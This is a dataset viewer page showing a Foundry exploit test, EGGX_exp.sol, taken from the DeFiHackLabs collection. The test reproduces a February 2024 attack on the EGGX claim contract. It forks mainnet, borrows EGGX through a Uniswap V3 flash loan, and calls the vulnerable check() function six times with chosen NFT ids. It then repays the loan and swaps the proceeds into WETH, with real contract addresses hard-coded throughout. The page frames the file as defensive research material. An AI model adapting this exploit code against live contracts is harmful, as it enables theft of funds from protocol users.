Public reproduction file
src/test/2024-02/EGGX_exp.sol
Public reproduction file for dataset entry EGGX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~2 $ETH6// Vulnerable Contract : https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F98// @Analysis9// https://x.com/PeiQi_0/status/175982630304449772611import "forge-std/Test.sol";12import "./../interface.sol";14interface IEGGXUNIV3POOL {15 function swap(16 address recipient,17 bool zeroForOne,18 int256 amountSpecified,19 uint160 sqrtPriceLimitX96,20 bytes calldata data21 ) external;22 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;23}25interface IEGGX is IERC20 {26 function transfer(address to, uint256 value) external returns (bool);27 function balanceOf(28 address account29 ) external view returns (uint256);30 function minted() external view returns (uint256);31 function tokenURI(32 uint256 id33 ) external view returns (string memory);34}36interface IEGGXClaim {37 function check(38 uint256[] memory39 ) external;40}42interface IWeth is IERC20 {43 function deposit() external payable;44}46contract ContractTest is Test {47 IEGGXUNIV3POOL pool = IEGGXUNIV3POOL(0x26beBB6995a4736F088D129E82620eBA899B944F);48 IEGGX EGGX = IEGGX(0xe2f95ee8B72fFed59bC4D2F35b1d19b909A6e6b3);49 IEGGXClaim EGGXCliam = IEGGXClaim(0xFb35DE57B117FA770761C1A344784075745F84F9);50 IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);51 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);53 function setUp() public {54 // evm_version Requires to be "shanghai"55 cheats.createSelectFork("mainnet", 19_252_567 - 1);56 cheats.label(address(EGGX), "EGGX");57 cheats.label(address(pool), "EGGX_Pool");58 cheats.label(address(WETH), "WETH");59 }61 function testExploit() public {62 payable(address(0)).transfer(address(this).balance);63 bytes memory pollbalance = abi.encode(EGGX.balanceOf(address(pool)));64 WETH.approve(address(pool), type(uint256).max);65 EGGX.approve(address(pool), type(uint256).max);66 emit log_named_uint("Attacker ETH balance before exploit", WETH.balanceOf(address(this)));67 bool zeroForOne = false;68 uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;69 bytes memory data = abi.encodePacked(uint8(0x61));70 pool.flash(address(this), 0, EGGX.balanceOf(address(pool)), pollbalance);71 int256 amountSpecified = int256(EGGX.balanceOf(address(this)));72 pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);73 emit log_named_uint("Attacker ETH balance after attack:", WETH.balanceOf(address(this)));74 }76 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {77 uint256 pollbalance = abi.decode(data, (uint256));78 uint256[] memory nftid = new uint256[](6);80 nftid[0] = 30_342;81 nftid[1] = 30_319;82 nftid[2] = 30_031;83 nftid[3] = 30_036;84 nftid[4] = 30_028;85 nftid[5] = 30_019;86 EGGXCliam.check(nftid);88 nftid[0] = 30_379;89 nftid[1] = 30_363;90 nftid[2] = 30_169;91 nftid[3] = 30_267;92 nftid[4] = 30_098;93 nftid[5] = 30_484;94 EGGXCliam.check(nftid);96 nftid[0] = 30_281;97 nftid[1] = 30_217;98 nftid[2] = 30_245;99 nftid[3] = 30_192;100 nftid[4] = 30_027;101 nftid[5] = 30_181;102 EGGXCliam.check(nftid);104 nftid[0] = 30_368;105 nftid[1] = 30_488;106 nftid[2] = 30_259;107 nftid[3] = 30_284;108 nftid[4] = 30_084;109 nftid[5] = 30_395;110 EGGXCliam.check(nftid);112 nftid[0] = 30_408;113 nftid[1] = 30_111;114 nftid[2] = 30_365;115 nftid[3] = 30_144;116 nftid[4] = 30_176;117 nftid[5] = 30_054;118 EGGXCliam.check(nftid);120 nftid[0] = 30_039;121 nftid[1] = 30_045;122 nftid[2] = 30_030;123 nftid[3] = 30_070;124 nftid[4] = 30_055;125 nftid[5] = 30_213;126 EGGXCliam.check(nftid);128 emit log_named_uint("Attacker EGGX exploit balance:", EGGX.balanceOf(address(this)));129 EGGX.transfer(address(pool), pollbalance + fee1);130 }132 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {133 if (amount0Delta > 0) {134 IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));135 } else if (amount1Delta > 0) {136 IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));137 }138 }140 receive() external payable {}141}Analysis
Dataset entry
Public Foundry test for “EGGX” (2024-02-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Vulnerable Contract
0xfb35de57b117fa770761c1a344784075745f84f9
File record
- Name
- EGGX
- Path
- src/test/2024-02/EGGX_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f0e55c1032b4c98d3a52daf07a5a54b9d9c74030
- Language
- Solidity
- Size
- 142 lines
- Date
- 2024-02-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/EGGX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f0e55c1032b4c98d3a52daf07a5a54b9d9c74030, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.